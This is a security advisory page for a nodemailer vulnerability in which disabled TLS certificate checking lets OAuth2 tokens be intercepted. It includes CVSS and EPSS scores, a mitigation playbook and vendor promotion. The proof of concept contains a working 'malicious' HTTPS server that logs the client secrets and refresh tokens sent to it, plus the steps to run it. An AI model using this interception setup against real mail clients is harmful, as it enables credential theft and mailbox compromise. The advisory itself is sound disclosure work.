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GHSA-r7g4-qg5f-qqm2 nodemailer

MEDIUM

GHSA-r7g4-qg5f-qqm2 is a medium-severity (CVSS 6.5) CWE-295 vulnerability in nodemailer. A fix is available for nodemailer — see the affected versions and patch details below.

Nodemailer: Improper TLS Certificate Validation in OAuth2 Token Fetch Enables Credential Interception

Also known asCVE-2026-82662
Published
Jun 15, 2026
Updated
Sep 10, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 18, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for GHSA-r7g4-qg5f-qqm2.

EPSS Exploitation Probability

via FIRST.org ↗
0.1%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs2th percentile — riskier than 2% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-r7g4-qg5f-qqm2 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

11Kother npm packages depend on this — each one inherits the vulnerability until it's patched upstream
nodemailernpm
21.3Mdownloads / week

Description

Summary

Nodemailer disables TLS certificate verification in its internal HTTPS fetch client through the use of rejectUnauthorized: false inside lib/fetch/index.js.

As a result, OAuth2 token requests trust invalid or self-signed HTTPS certificates and transmit sensitive OAuth credentials over connections that should fail TLS validation.

An attacker in a machine-in-the-middle position can intercept OAuth2 credential exchanges and capture:

  • OAuth client_secret
  • refresh_token
  • access tokens

The issue was verified through runtime testing using a self-signed HTTPS OAuth endpoint.

Details

Root Cause

The issue originates from the internal HTTPS fetch implementation used by Nodemailer for OAuth2 token retrieval and related outbound HTTPS requests.

Inside:

lib/fetch/index.js

the request options contain:

rejectUnauthorized: false

This disables TLS peer certificate verification globally for the internal HTTPS client unless explicitly overridden through optional TLS configuration.

As a result:

  • self-signed certificates are trusted
  • invalid CA chains are accepted
  • hostname validation is bypassed
  • attacker-controlled HTTPS endpoints are treated as trusted

This violates expected HTTPS security guarantees.

Vulnerable Flow

The vulnerable execution chain is:

OAuth2 Transport ↓ XOAuth2 token generation ↓ Internal HTTPS fetch client ↓ HTTPS request with rejectUnauthorized:false ↓ Attacker-controlled/self-signed endpoint trusted ↓ OAuth credentials transmitted

PoC

Environment

Mail API (app/server.js)

const express = require("express");
const nodemailer = require("nodemailer");
require("dotenv").config();

const app = express();

app.use(express.json());

const transporter = nodemailer.createTransport({
    host: process.env.SMTP_HOST,
    port: process.env.SMTP_PORT,
    secure: false,
    auth: {
        user: process.env.SMTP_USER,
        pass: process.env.SMTP_PASS
    }
});

app.post("/send", async (req, res) => {
    try {
        const { to, subject, text, html } = req.body;

        const info = await transporter.sendMail({
            from: `"Mailer" <${process.env.SMTP_USER}>`,
            to,
            subject,
            text,
            html
        });

        res.json({
            success: true,
            messageId: info.messageId
        });

    } catch (err) {
        console.error(err);
        res.status(500).json({
            success: false,
            error: err.message
        });
    }
});

app.listen(process.env.PORT, () => {
    console.log(`Mailer running on port ${process.env.PORT}`);
});

Malicious HTTPS OAuth Server (poc/evil-oauth.js)

const https = require('https');
const fs = require('fs');

https.createServer({
    key: fs.readFileSync('./key.pem'),
    cert: fs.readFileSync('./cert.pem')
}, (req, res) => {

    console.log('\n==== REQUEST INTERCEPTED ====');
    console.log(req.method, req.url);

    let body = '';

    req.on('data', chunk => {
        body += chunk;
    });

    req.on('end', () => {

        console.log('\nPOST BODY:');
        console.log(body);

        res.writeHead(200, {
            'Content-Type': 'application/json'
        });

        res.end(JSON.stringify({
            access_token: 'attacker_token',
            expires_in: 3600
        }));
    });

}).listen(8443, () => {
    console.log('Malicious HTTPS OAuth server listening on 8443');
});

Nodemailer OAuth2 Test (test.js)

const nodemailer = require('./');

const transporter = nodemailer.createTransport({
    service: 'gmail',

    auth: {
        type: 'OAuth2',

        user: '[email protected]',

        clientId: 'CLIENT_ID_REDACTED',
        clientSecret: 'CLIENT_SECRET_REDACTED',

        refreshToken: 'REFRESH_TOKEN_REDACTED',

        accessUrl: 'https://localhost:8443/token'
    }
});

transporter.sendMail({
    from: '[email protected]',
    to: '[email protected]',
    subject: 'PoC',
    text: 'test'

}, (err, info) => {

    console.log('\n==== NODEMAILER RESULT ====');

    if (err) {
        console.error(err);
    } else {
        console.log(info);
    }
});

Steps to Reproduce

  • Start malicious HTTPS OAuth server:
  • node poc/evil-oauth.js
  • Run Nodemailer OAuth2 test:
  • node test.js
  • Observe intercepted OAuth2 request body on the malicious HTTPS server.

PIC <img width="1919" height="1029" alt="image" src="https://github.com/user-attachments/assets/fdeafeb4-c0c5-49f8-beeb-e7f945be0516" />

Impact

  • OAuth credential theft
  • unauthorized email access
  • persistent token abuse
  • unauthorized mail sending
  • mailbox compromise
  • interception/tampering of OAuth responses

The issue effectively downgrades HTTPS security protections for sensitive OAuth credential exchanges.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmnodemailerall versions8.0.8npm install nodemailer@8.0.8

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for nodemailer, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update nodemailer to 8.0.8 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-r7g4-qg5f-qqm2 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-r7g4-qg5f-qqm2 can be triaged on real exposure rather than presence alone.

Tailored to GHSA-r7g4-qg5f-qqm2. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary Nodemailer disables TLS certificate verification in its internal HTTPS fetch client through the use of rejectUnauthorized: false inside lib/fetch/index.js. As a result, OAuth2 token requests trust invalid or self-signed HTTPS certificates and transmit sensitive OAuth credentials over connections that should fail TLS validation. An attacker in a machine-in-the-middle position can intercept OAuth2 credential exchanges and capture: - OAuth client_secret - refresh_token - access tokens The issue was verified through runtime testing using a self-signed HTTPS OAuth endpoint. ### Det
O3 Security · Impact-Aware SCA

Is GHSA-r7g4-qg5f-qqm2 in your dependencies?

O3 Security finds GHSA-r7g4-qg5f-qqm2 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-r7g4-qg5f-qqm2: nodemailer | O3 Security